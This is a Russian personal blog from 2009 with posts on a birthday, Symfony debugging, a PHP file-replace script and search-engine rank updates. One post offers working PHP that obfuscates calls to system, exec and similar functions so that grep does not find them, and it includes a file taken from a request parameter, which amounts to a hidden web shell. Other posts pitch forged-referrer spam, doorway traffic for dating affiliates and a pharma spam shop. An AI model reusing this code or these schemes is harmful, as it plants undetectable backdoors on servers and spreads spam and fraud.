Подарок на ДР :)

25-07-2009

3

b_1727Стал обладателем акустической системы Gaze. Звук чистейший, мощный, самое то для моего ноутбука. Спасибо моей любимой девушке :)

Так же спасибо всем, кто поздравил, и в этот день был рядом. День Рождения прошел отлично, до сих пор сдерживаю эмоции :) Может быть выложу пару фоток потом.

Вот мне и 20-тник

24-07-2009

2

Собственно сабж, сегодня у меня День Рождения :)

Странно, что до сих пор не придумал как буду его праздновать. Настроение ни к черту, сам не знаю почему. Но думаю все наладится ;)

Замена eval() в php

15-07-2009

1

bobНедавно ломал голову над тем, есть ли замена функции eval() в php.

Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

Повышение конверта в ру дэйтинге

08-07-2009

0

За последние два дня заметил существенный прирост в конверте с доров для ру дэйтинг партнерок. На Ostapcash конверт от 1:40 до 1:3 (!), на Alphacash ~1:18. Причина этому – увеличение кредитного лимита у абонентов МТС, в результате чего, огромное кол-во людей смогло уходить в минус.
Скажем спасибо МТС и требуем таких же шагов от Beeline и MegaFon’а :D

Косяк Symfony

07-07-2009

0

kosyakНа работе пишу интернет-магазин на Symfony, и в ходе разработки иногда появляются маленькие косяки, на которые убиваю очень много времени.
В частности, при ребилде проекта (doctrine:build-all-reload) все время выскакивала ошибка о том, что класс sfGuardGroup был определен 2 раза. Причем даже при удалении всех файлов с классами из /lib/model/doctrine/sfDoctrineGuardPlugin/base все создавалось по-новой. Решение оказалось довольно-таки простым, но сразу я до него почему-то не додумался.
Оказывается в модели /config/doctrine/schema.yml и /plugins/sfDoctrineGuardPlugin/config/doctrine/schema.yml была описана одна и та же таблица, на основе которой генерировался данный класс. Только до сих пор не могу понять откуда взялся этот /config/doctrine/schema.yml, может быть это глюк самого sfGuardPlugin.
Прикрутил xDebug к php, очень удобная штука для отладки скриптов, пока доволен.

P.S. На этой неделе собираюсь на море, надеюсь погода не подкачает ;)

Замена строк во всех файлах директории

28-06-2009

3

Сохраняю для себя, часто пользуюсь, может кому тоже полезно будет.
Скрипт берет все файлы в директории и меняет в нем заданные строки на новые.

$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
	if(!substr_count((string)$page, 'index.php')) {
	$data = file_get_contents($page);
    $data = str_ireplace($chto, $nachto, $data);
	file_put_contents($page, $data);
}

Ничего сложного, но если бы не скрипт – много бы было возни лишней.

Палю «темку». Увеличиваем посещаемость

28-06-2009

5

liveinternet-logo_150xУверен что многие блоггеры, ровно как и оптимизаторы/администраторы сайтов мониторят статистику переходов на свои ресурсы через сервис Liveinternet, к примеру.

А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.

Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:

megaindex

Понятное дело, что приток трафика будет совсем не большой, да и тот «админский» :)

Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.

P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…

Glavmed + KLIK Advertising

25-06-2009

1

GLAVMЁDПрочитав недавний пост в блоге Bormaley, решил провести небольшой подобный эксперимент. Суть – купить трафик на бирже Klikadvertising и попытаться сконвертить его в Glavmed.
Итак, что мы имеем:

- Аккаунт в Klikadvertising с балансом 50$
- Главмедовский шоп. Трафик лил на препарат Cialis
- Желание срубить бобла :D Ну или хотя бы сконвертить трафик до 50$, чтобы не так обидно было

Апдейт тИЦ

25-06-2009

2

хорошая кисаНе успел еще закончиться вчерашний апдейт гугла, как апнуло тИЦ. Зачастили великаны с апдейтами.
Что касается меня, особо за параметрами не слежу, так как работаю в другой сфере.
Всем удачного апа :)

PageRank Update

24-06-2009

3

Не прошло и месяца, как Google снова обновил значение pagerank для сайтов. Странно конечно, раньше апы были с периодичностью в 3-4 месяца. Видимо гугл окончательно сошел с ума, или что-то подкручивает и готовит новые «сюрпризы».

Что касается PR блога, гугл обнулил его недели 2 назад, сейчас вроде вернулась единичка. Не суть важно, просто интересно, с чего вдруг гугл начал обнулять PR.